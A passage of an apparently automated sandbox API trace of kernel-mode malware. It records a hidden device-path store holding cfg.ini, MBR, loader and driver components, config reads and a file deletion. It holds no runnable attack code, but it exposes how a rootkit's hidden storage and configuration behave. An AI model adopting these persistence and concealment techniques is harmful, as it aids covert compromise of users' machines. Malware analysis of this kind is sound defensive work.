_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.528] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.528] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] KeLeaveCriticalRegion () [0125.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.528] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.528] KeEnterCriticalRegion () [0125.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] KeLeaveCriticalRegion () [0125.528] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.528] KeEnterCriticalRegion () [0125.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.529] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.529] IdePortDispatch () returned 0x103 [0125.529] KeWaitForMutexObject () returned 0x0 [0125.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.529] KeLeaveCriticalRegion () [0125.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.529] KeEnterCriticalRegion () [0125.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c70000 [0125.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.529] IdePortDispatch () returned 0x103 [0125.529] KeWaitForMutexObject () returned 0x0 [0125.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.529] IdePortDispatch () returned 0x103 [0125.530] KeWaitForMutexObject () returned 0x0 [0125.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] KeLeaveCriticalRegion () [0125.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.530] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.530] KeEnterCriticalRegion () [0125.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] KeLeaveCriticalRegion () [0125.530] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.530] KeEnterCriticalRegion () [0125.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.530] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] KeLeaveCriticalRegion () [0125.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.530] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.530] KeEnterCriticalRegion () [0125.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.530] KeLeaveCriticalRegion () [0125.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.531] ReleaseMutex (hMutex=0xf0) returned 1 [0125.531] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.531] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.531] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.531] KeEnterCriticalRegion () [0125.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.531] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.531] IdePortDispatch () returned 0x103 [0125.531] KeWaitForMutexObject () returned 0x0 [0125.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.531] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.531] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.531] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.531] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.531] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8060 [0125.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.531] KeLeaveCriticalRegion () [0125.531] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.531] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.532] KeEnterCriticalRegion () [0125.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.532] KeLeaveCriticalRegion () [0125.532] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.532] KeEnterCriticalRegion () [0125.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.532] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.532] IdePortDispatch () returned 0x103 [0125.532] KeWaitForMutexObject () returned 0x0 [0125.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.532] KeLeaveCriticalRegion () [0125.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.532] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.532] KeEnterCriticalRegion () [0125.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c71000 [0125.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.532] IdePortDispatch () returned 0x103 [0125.533] KeWaitForMutexObject () returned 0x0 [0125.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.533] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.533] IdePortDispatch () returned 0x103 [0125.533] KeWaitForMutexObject () returned 0x0 [0125.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.533] KeLeaveCriticalRegion () [0125.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.533] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.533] KeEnterCriticalRegion () [0125.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.533] KeLeaveCriticalRegion () [0125.533] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.533] KeEnterCriticalRegion () [0125.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.533] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.533] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.534] KeLeaveCriticalRegion () [0125.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.534] KeEnterCriticalRegion () [0125.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.534] ExFreePoolWithTag (P=0xfffffa8003bf8060, Tag=0x0) [0125.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.534] KeLeaveCriticalRegion () [0125.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.534] ReleaseMutex (hMutex=0xf0) returned 1 [0125.534] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.534] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.534] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.534] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.534] KeEnterCriticalRegion () [0125.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.534] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.534] IdePortDispatch () returned 0x103 [0125.534] KeWaitForMutexObject () returned 0x0 [0125.534] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.534] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.534] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.534] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.534] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.534] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.534] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.534] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.534] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.534] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.534] KeLeaveCriticalRegion () [0125.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.535] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.535] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.535] KeEnterCriticalRegion () [0125.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.535] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.535] IdePortDispatch () returned 0x103 [0125.535] KeWaitForMutexObject () returned 0x0 [0125.535] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.535] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.535] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.535] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.535] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.535] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.535] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.535] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.535] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.535] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.535] KeLeaveCriticalRegion () [0125.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.535] ReleaseMutex (hMutex=0x100) returned 1 [0125.535] Sleep (dwMilliseconds=0x2bf20) [0125.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e0751d0, dwHighDateTime=0x1d24fa4)) [0125.542] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.542] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.542] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.542] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.542] KeEnterCriticalRegion () [0125.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.542] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.542] IdePortDispatch () returned 0x103 [0125.542] KeWaitForMutexObject () returned 0x0 [0125.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.542] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.542] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.542] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.542] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.542] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf08a0 [0125.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.542] KeLeaveCriticalRegion () [0125.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.542] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.542] KeEnterCriticalRegion () [0125.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.542] KeLeaveCriticalRegion () [0125.542] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.542] KeEnterCriticalRegion () [0125.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.542] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.542] IdePortDispatch () returned 0x103 [0125.543] KeWaitForMutexObject () returned 0x0 [0125.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.543] KeLeaveCriticalRegion () [0125.543] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.543] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.543] KeEnterCriticalRegion () [0125.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c74000 [0125.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.543] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.543] IdePortDispatch () returned 0x103 [0125.543] KeWaitForMutexObject () returned 0x0 [0125.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.543] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.543] IdePortDispatch () returned 0x103 [0125.544] KeWaitForMutexObject () returned 0x0 [0125.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] KeLeaveCriticalRegion () [0125.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.544] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.544] KeEnterCriticalRegion () [0125.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] FsRtlProcessFileLock 